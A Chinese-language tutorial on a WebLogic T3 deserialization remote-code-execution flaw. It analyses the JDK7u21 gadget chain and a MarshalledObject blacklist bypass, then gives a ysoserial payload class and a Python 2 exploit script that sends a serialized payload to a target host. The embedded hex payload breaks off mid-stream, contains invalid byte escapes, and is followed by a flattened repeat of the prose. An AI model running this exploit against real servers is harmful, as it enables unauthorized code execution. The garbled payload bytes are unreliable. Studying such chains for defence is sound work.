一步一步回顾分析攻防演习中的 WebLogic T3 反序列化 0day 漏洞
字数 1589 2025-08-10 00:24:01

WebLogic T3 反序列化0day漏洞分析与利用教学

漏洞概述

本漏洞是WebLogic T3协议中的一个反序列化0day漏洞,攻击者可以通过构造特殊的序列化数据,在目标服务器上执行任意代码。该漏洞基于JDK7u21的反序列化漏洞利用链,并通过java.rmi.MarshalledObject类绕过WebLogic的黑名单限制。

漏洞背景

在攻防演习期间,安全研究人员发现WebLogic T3协议存在反序列化漏洞。攻击者可以在原始的JDK7u21 POC基础上,通过添加java.rmi.MarshalledObject来绕过黑名单检测,实现远程代码执行。

技术分析

JDK7u21利用链分析

第一部分利用链

HashMap.put() 
HashMap.hash() 
*.hashCode()【计算第一个对象hash值)
HashSet.readObject() 
HashMap.put() 
HashMap.hash() 
*.hashcode() 
AnnotationInvocationHandler.invoke() 
AnnotationInvocationHandler.hashCodeImpl() 
HashMap.put() 
AnnotationInvocationHandler.invoke() 
AnnotationInvocationHandler.equalsImpl() 
TemplatesImpl.getOutputProperties() 
TemplatesImpl.getTransletInstance() 
TemplatesImpl.defineTransletClasses()​ 
TemplatesImpl$TransletClassLoader 
TemplatesImpl.getTransletInstance() 
Class.newInstance()​ 
Runtime.exec()

关键点分析:

  1. HashSet.readObject()触发点

    • 在对LinkedHashSet反序列化过程中,会进入HashSet.readObject()函数
    • 关键代码块:
      for (int i=0; i<size; i++) {
          E e = (E) s.readObject();
          map.put(e, PRESENT);
      }
      
  2. HashMap.put()处理

    • 计算存储进map的第一个对象Templates的Hash值
    • 关键函数hash(key)
      final int hash(Object k) {
          int h = 0;
          if (useAltHashing) {
              if (k instanceof String) {
                  return sun.misc.Hashing.stringHash32((String) k);
              }
              h = hashSeed;
          }
          h ^= k.hashCode();
          h ^= (h >>> 20) ^ (h >>> 12);
          return h ^ (h >>> 7) ^ (h >>> 4);
      }
      
  3. 动态代理利用

    • 构造动态代理使多个对象的hash值一致
    • 当第二个对象是代理对象时,会进入AnnotationInvocationHandler.invoke()
    • 关键方法hashCodeImpl()
      private int hashCodeImpl() {
          int var1 = 0;
          Entry var3;
          for (Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
              var3 = (Entry)var2.next();
          }
          return var1;
      }
      
  4. equals方法触发

    • 当hash值相等时,会执行key.equals(k)
    • 进入equalsImpl()方法:
      private Boolean equalsImpl(Object var1) {
          // 省略部分代码
          Method[] var2 = this.getMemberMethods();
          int var3 = var2.length;
          for (int var4 = 0; var4 < var3; ++var4) {
              Method var5 = var2[var4];
              String var6 = var5.getName();
              Object var7 = this.memberValues.get(var6);
              Object var8 = null;
              // 省略部分代码
              var8 = var5.invoke(var1);
              // 省略部分代码
          }
          return true;
      }
      

第一部分利用链关键条件

  1. LinkedHashSet需要依次加入类对象和一个代理对象,使两个对象hash碰撞
  2. 代理对象的代理类AnnotationInvocationHandler的第二个成员变量仅存储一个map结构数据,key为"f5a5a608",value是第一个类对象
  3. 代理类AnnotationInvocationHandler的type成员变量必须是第一个类对象可转化的类
  4. 代理类的待利用方法需要是无参的

第二部分利用链

TemplatesImpl.getOutputProperties() 
TemplatesImpl.getTransletInstance() 
TemplatesImpl.defineTransletClasses() 
TemplatesImpl$TransletClassLoader 
TemplatesImpl.getTransletInstance() 
Class.newInstance() 
Runtime.exec()

关键点分析

  1. TemplatesImpl.getTransletInstance()

    private Translet getTransletInstance() throws TransformerConfigurationException {
        try {
            if (_name == null) return null;
            if (_class == null) defineTransletClasses();
            AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
            // 省略部分代码
            return translet;
        } catch (InstantiationException e) {
            // 异常处理
        }
    }
    
  2. defineTransletClasses()

    private void defineTransletClasses() throws TransformerConfigurationException {
        if (_bytecodes == null) {
            throw new TransformerConfigurationException("No translet classes were defined.");
        }
        TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction() {
            public Object run() {
                return new TransletClassLoader(ObjectFactory.findClassLoader());
            }
        });
    
        try {
            final int classCount = _bytecodes.length;
            _class = new Class[classCount];
            if (classCount > 1) {
                _auxClasses = new Hashtable();
            }
    
            for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]);
                final Class superClass = _class[i].getSuperclass();
    
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                } else {
                    _auxClasses.put(_class[i].getName(), _class[i]);
                }
            }
    
            if (_transletIndex < 0) {
                throw new TransformerConfigurationException("No main class specified.");
            }
        } catch (ClassFormatError e) {
            // 异常处理
        }
    }
    

第二部分利用链关键条件

  1. _name变量不能为null
  2. _class=null
  3. _bytecodes变量是字节码类数组,包含一个父类是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的恶意类

MarshalledObject绕过分析

由于Weblogic将com.sun.org.apache.xalan.internal.xsltc.trax加入黑名单,原始的JDK7u21 POC会被拦截。新的0day利用通过MarshalledObject类绕过黑名单检测:

  1. MarshalledObject.get()方法

    public T get() throws IOException, ClassNotFoundException {
        if (objBytes == null) return null;
        ByteArrayInputStream bin = new ByteArrayInputStream(objBytes);
        ByteArrayInputStream lin = (locBytes == null ? null : new ByteArrayInputStream(locBytes));
        MarshalledObjectInputStream in = new MarshalledObjectInputStream(bin, lin);
        T obj = (T) in.readObject();
        in.close();
        return obj;
    }
    
  2. 利用原理

    • 将序列化的恶意类对象保存至objBytes变量
    • 当程序执行get()方法时,会调用readObject()解析执行恶意类对象
    • 从而绕过Weblogic对TemplatesImpl类的直接检测

POC构造

团队成员设计的POC如下:

package ysoserial.payloads;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.MarshalledObject;
import java.util.HashMap;
import java.util.LinkedHashSet;
import java.util.Map;

@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies()
@Authors({ Authors.FROHOFF })
public class Jdk7u21_0 implements ObjectPayload<Object> {
    public Object getObject(final String command) throws Exception {
        final MarshalledObject templates = new MarshalledObject(null);
        
        // 序列化原始Jdk7u21obj
        Object obj = new Jdk7u21().getObject(command);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutput objectOutput = null;
        objectOutput = new ObjectOutputStream(byteArrayOutputStream);
        objectOutput.writeObject(obj);
        objectOutput.flush();
        byte[] bytearray = byteArrayOutputStream.toByteArray();
        Reflections.setFieldValue(templates, "objBytes", bytearray);

        String zeroHashCodeStr = "f5a5a608";
        HashMap map = new HashMap();
        map.put(zeroHashCodeStr, "foo");
        
        InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS)
            .newInstance(Override.class, map);
        Reflections.setFieldValue(tempHandler, "type", MarshalledObject.class);
        
        Map proxy = Gadgets.createProxy(tempHandler, Map.class);
        LinkedHashSet set = new LinkedHashSet(); // maintain order
        set.add(templates);
        set.add(proxy);
        
        map.put(zeroHashCodeStr, templates); // swap in real object
        return set;
    }

    public static boolean isApplicableJavaVersion() {
        JavaVersion v = JavaVersion.getLocalVersion();
        return v != null && (v.major < 7 || (v.major == 7 && v.update <= 21));
    }

    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(Jdk7u21_0.class, args);
    }
}

POC关键点

  1. 使用MarshalledObject封装原始的JDK7u21 payload
  2. 通过反射设置objBytes字段为序列化后的恶意对象
  3. 构造AnnotationInvocationHandler代理
  4. 使用LinkedHashSet确保执行顺序
  5. 利用hash碰撞触发漏洞

漏洞复现

在JDK7u21、Weblogic12.1.3.0上通过T3协议发送攻击脚本,成功在/tmp目录创建文件。

EXP关键部分

#!/usr/bin/python2
import socket
import os
import sys
import struct
import time

if len(sys.argv) < 2:
    print 'Usage: python %s <TARGET_HOST> <PORT>' % os.path.basename(sys.argv[0])
    sys.exit()

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
server_address = (sys.argv[1], int(sys.argv[2]))
print '[+] Connecting to %s port %s' % server_address
sock.connect(server_address)

# Send headers
headers= 't3 9.2.0\nAS:255\nHL:19\n\n'
print 'sending "%s"' % headers
sock.sendall(headers)
data = sock.recv(1024)
print >>sys.stderr, 'received "%s"' % data

payloadObj= '\xAC\xED\x00\x05\x73\x72\x00\x17\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\x4C\x69\x6E\x6B\x65\x64\x48\x61\x73\x68\x53\x65\x74\xD8\x6C\xD7\x5A\x95\xDD\x2A\x1E\x02\x00\x00\x78\x72\x00\x11\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\x48\x61\x73\x68\x53\x65\x74\xBA\x44\x85\x95\x96\xB8\xB7\x34\x03\x00\x00\x78\x70\x77\x0C\x00\x00\x00\x10\x3F\x40\x00\x00\x00\x00\x00\x02\x73\x72\x00\x19\x6A\x61\x76\x61\x2E\x72\x6D\x69\x2E\x4D\x61\x72\x73\x68\x61\x6C\x6C\x65\x64\x4F\x62\x6A\x65\x63\x74\x7C\xBD\x1E\x97\xED\x63\xFC\x3E\x02\x00\x03\x49\x00\x04\x68\x61\x73\x68\x5B\x00\x08\x6C\x6F\x63\x42\x79\x74\x65\x73\x74\x00\x02\x5B\x42\x5B\x00\x08\x6F\x62\x6A\x42\x79\x74\x65\x73\x71\x00\x7E\x00\x04\x78\x70\x00\x00\x00\x0D\x70\x75\x72\x00\x02\x5B\x42\xAC\xF3\x17\xF8\x06\x08\x54\xE0\x02\x00\x00\x78\x70\x00\x00\x0B\x8D\xAC\xED\x00\x05\x73\x72\x00\x17\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\x4C\x69\x6E\x6B\x65\x64\x48\x61\x73\x68\x53\x65\x74\xD8\x6C\xD7\x5A\x95\xDD\x2A\x1E\x02\x00\x00\x78\x72\x00\x11\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\x48\x61\x73\x68\x53\x65\x74\xBA\x44\x85\x95\x96\xB8\xB7\x34\x03\x00\x00\x78\x70\x77\x0C\x00\x00\x00\x10\x3F\x40\x00\x00\x00\x00\x00\x02\x73\x72\x00\x3A\x63\x6F\x6D\x2E\x73\x75\x6E\x2E\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x78\x61\x6C\x61\x6E\x2E\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2E\x78\x73\x6C\x74\x63\x2E\x74\x72\x61\x78\x2E\x54\x65\x6D\x70\x6C\x61\x74\x65\x73\x49\x6F\x70\x6C\x09\x57\x4F\xC1\x6E\xAC\xAB\x33\x03\x00\x06\x49\x00\x0D\x5F\x69\x6E\x64\x65\x6E\x74\x4E\x75\x6D\x62\x65\x72\x49\x00\x0E\x5F\x74\x72\x61\x6E\x73\x6C\x65\x74\x49\x6E\x64\x65\x78\x5B\x00\x0A\x5F\x62\x79\x74\x65\x63\x6F\x64\x65\x73\x74\x00\x03\x5B\x5B\x42\x5B\x00\x06\x5F\x63\x6F\x61\x73\x73\x74\x00\x12\x5B\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x43\x6C\x61\x73\x73\x3B\x4C\x00\x05\x5F\x6E\x61\x6D\x65\x74\x00\x12\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x53\x74\x72\x69\x6E\x32\x3B\x4C\x00\x11\x5F\x6F\x75\x74\x70\x75\x74\x50\x72\x6F\x70\x65\x72\x74\x69\x65\x73\x74\x00\x16\x4C\x6A\x61\x76\x61\x2F\x75\x74\x69\x6C\x2F\x50\x72\x6F\x70\x65\x72\x74\x69\x65\x73\x3B\x78\x70\x00\x00\x00\x00\xFF\xFF\xFF\xFF\x75\x72\x00\x03\x5B\x5B\x42\x4B\xFD\x19\x15\x67\x67\xDB\x37\x02\x00\x00\x78\x70\x00\x00\x00\x02\x75\x72\x00\x02\x5B\x42\xAC\xF3\x17\xF8\x06\x08\x54\xE0\x02\x00\x00\x78\x70\x00\x00\x06\xA5\xCA\xFE\xBA\xBE\x00\x00\x00\x32\x00\x39\x0A\x00\x03\x00\x22\x07\x00\x37\x07\x00\x25\x07\x00\x26\x01\x00\x10\x73\x65\x72\x69\x61\x6C\x56\x65\x72\x73\x69\x6F\x6E\x55\x49\x44\x01\x00\x01\x4A\x01\x00\x0D\x43\x6F\x6E\x73\x74\x61\x6E\x74\x56\x61\x6C\x75\x65\x05\xAD\x20\x93\xF3\x91\xDD\xEF\x3E\x01\x00\x06\x3C\x69\x6E\x69\x74\x3E\x01\x00\x03\x28\x29\x56\x01\x00\x04\x43\x6F\x64\x65\x01\x00\x0F\x4C\x69\x6E\x65\x4E\x75\x6D\x62\x65\x72\x54\x61\x62\x6C\x65\x01\x00\x12\x4C\x6F\x63\x61\x6C\x56\x61\x72\x69\x61\x62\x6C\x65\x54\x61\x62\x6C\x65\x01\x00\x04\x74\x68\x69\x73\x01\x00\x13\x53\x74\x75\x62\x54\x72\x61\x6E\x73\x6C\x65\x74\xPA\x79\x6C\x6F\x61\x64\x01\x00\x0C\x49\x6E\x6E\x65\x72\x43\x6C\x61\x73\x73\x65\x73\x01\x00\x35\x4C\x79\x73\x6F\x73\x65\x72\x69\x61\x6C\x2F\x70\x61\x79\x6C\x6F\x61\x64\x73\x2F\x75\x74\x69\x6C\x2F\x47\x61\x64\x67\x65\x74\x73\x24\x53\x74\x75\x62\x54\x72\x61\x6E\x73\x6C\x65\x74\x50\x61\x79\x6C\x6F\x61\x64\x3B\x01\x00\x09\x74\x72\x61\x6E\x73\x66\x6F\x72\x6D\x01\x00\x72\x28\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x61\x6C\x61\x6E\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x78\x73\x6C\x74\x63\x2F\x44\x4F\x4D\x3B\x5B\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x6D\x6C\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x73\x65\x72\x69\x61\x6C\x69\x7A\x65\x72\x2F\x53\x65\x72\x69\x61\x6C\x69\x7A\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x3B\x29\x56\x01\x00\x08\x64\x6F\x63\x75\x6D\x65\x6E\x74\x01\x00\x2D\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x61\x6C\x61\x6E\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x78\x73\x6C\x74\x63\x2F\x44\x4F\x4D\x3B\x01\x00\x08\x68\x61\x6E\x64\x6C\x65\x72\x73\x01\x00\x42\x5B\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x6D\x6C\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x73\x65\x72\x69\x61\x6C\x69\x7A\x65\x72\x2F\x53\x65\x72\x69\x61\x6C\x69\x7A\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x3B\x01\x00\x0A\x45\x78\x63\x65\x70\x74\x69\x6F\x6E\x73\x07\x00\x27\x01\x00\xA6\x28\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x61\x6C\x61\x6E\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x78\x73\x6C\x74\x63\x2F\x44\x4F\x4D\x3B\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x6D\x6C\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x64\x74\x6F\x2F\x44\x54\x4D\x41\x78\x69\x73\x49\x74\x65\x72\x61\x74\x6F\x72\x3B\x4L\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x6D\x6C\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x73\x65\x72\x69\x61\x6C\x69\x7A\x65\x72\x2F\x53\x65\x72\x69\x61\x6C\x69\x7A\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x3B\x29\x56\x01\x00\x08\x69\x74\x65\x72\x61\x74\x6F\x72\x01\x00\x35\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x6D\x6C\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x64\x74\x6D\x2F\x44\x54\x4D\x41\x78\x69\x73\x49\x74\x65\x72\x61\x74\x6F\x72\x3B\x01\x00\x07\x68\x61\x6E\x64\x6C\x65\x72\x01\x00\x41\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x6D\x6C\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x73\x65\x72\x69\x61\x6C\x69\x7A\x65\x72\x2F\x53\x65\x72\x69\x61\x6C\x69\x7A\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x3B\x01\x00\x0A\x53\x6F\x75\x72\x63\x65\x46\x69\x6C\x65\x01\x00\x0C\x47\x61\x64\x67\x65\x74\x73\x2E\x6A\x61\x76\x61\x0C\x00\x0A\x00\x0B\x07\x00\x28\x01\x00\x33\x79\x73\x6F\x73\x65\x72\x69\x61\x6C\x2F\x70\x61\x79\x6C\x6F\x61\x64\xs\x2F\x75\x74\x69\x6C\x2F\x47\x61\x64\x67\x65\x74\x73\x24\x53\x74\x75\x62\x54\x72\x61\x6E\x73\x6C\x65\x74\x50\x61\x79\x6C\x6F\x61\x64\x01\x00\x40\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65
WebLogic T3 反序列化0day漏洞分析与利用教学 漏洞概述 本漏洞是WebLogic T3协议中的一个反序列化0day漏洞,攻击者可以通过构造特殊的序列化数据,在目标服务器上执行任意代码。该漏洞基于JDK7u21的反序列化漏洞利用链,并通过 java.rmi.MarshalledObject 类绕过WebLogic的黑名单限制。 漏洞背景 在攻防演习期间,安全研究人员发现WebLogic T3协议存在反序列化漏洞。攻击者可以在原始的JDK7u21 POC基础上,通过添加 java.rmi.MarshalledObject 来绕过黑名单检测,实现远程代码执行。 技术分析 JDK7u21利用链分析 第一部分利用链 关键点分析: HashSet.readObject()触发点 : 在对LinkedHashSet反序列化过程中,会进入 HashSet.readObject() 函数 关键代码块: HashMap.put()处理 : 计算存储进map的第一个对象Templates的Hash值 关键函数 hash(key) : 动态代理利用 : 构造动态代理使多个对象的hash值一致 当第二个对象是代理对象时,会进入 AnnotationInvocationHandler.invoke() 关键方法 hashCodeImpl() : equals方法触发 : 当hash值相等时,会执行 key.equals(k) 进入 equalsImpl() 方法: 第一部分利用链关键条件 : LinkedHashSet需要依次加入类对象和一个代理对象,使两个对象hash碰撞 代理对象的代理类 AnnotationInvocationHandler 的第二个成员变量仅存储一个map结构数据,key为"f5a5a608",value是第一个类对象 代理类 AnnotationInvocationHandler 的type成员变量必须是第一个类对象可转化的类 代理类的待利用方法需要是无参的 第二部分利用链 关键点分析 : TemplatesImpl.getTransletInstance() : defineTransletClasses() : 第二部分利用链关键条件 : _name 变量不能为null _class=null _bytecodes 变量是字节码类数组,包含一个父类是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的恶意类 MarshalledObject绕过分析 由于Weblogic将 com.sun.org.apache.xalan.internal.xsltc.trax 加入黑名单,原始的JDK7u21 POC会被拦截。新的0day利用通过 MarshalledObject 类绕过黑名单检测: MarshalledObject.get()方法 : 利用原理 : 将序列化的恶意类对象保存至 objBytes 变量 当程序执行 get() 方法时,会调用 readObject() 解析执行恶意类对象 从而绕过Weblogic对 TemplatesImpl 类的直接检测 POC构造 团队成员设计的POC如下: POC关键点 : 使用 MarshalledObject 封装原始的JDK7u21 payload 通过反射设置 objBytes 字段为序列化后的恶意对象 构造 AnnotationInvocationHandler 代理 使用 LinkedHashSet 确保执行顺序 利用hash碰撞触发漏洞 漏洞复现 在JDK7u21、Weblogic12.1.3.0上通过T3协议发送攻击脚本,成功在/tmp目录创建文件。 EXP关键部分 :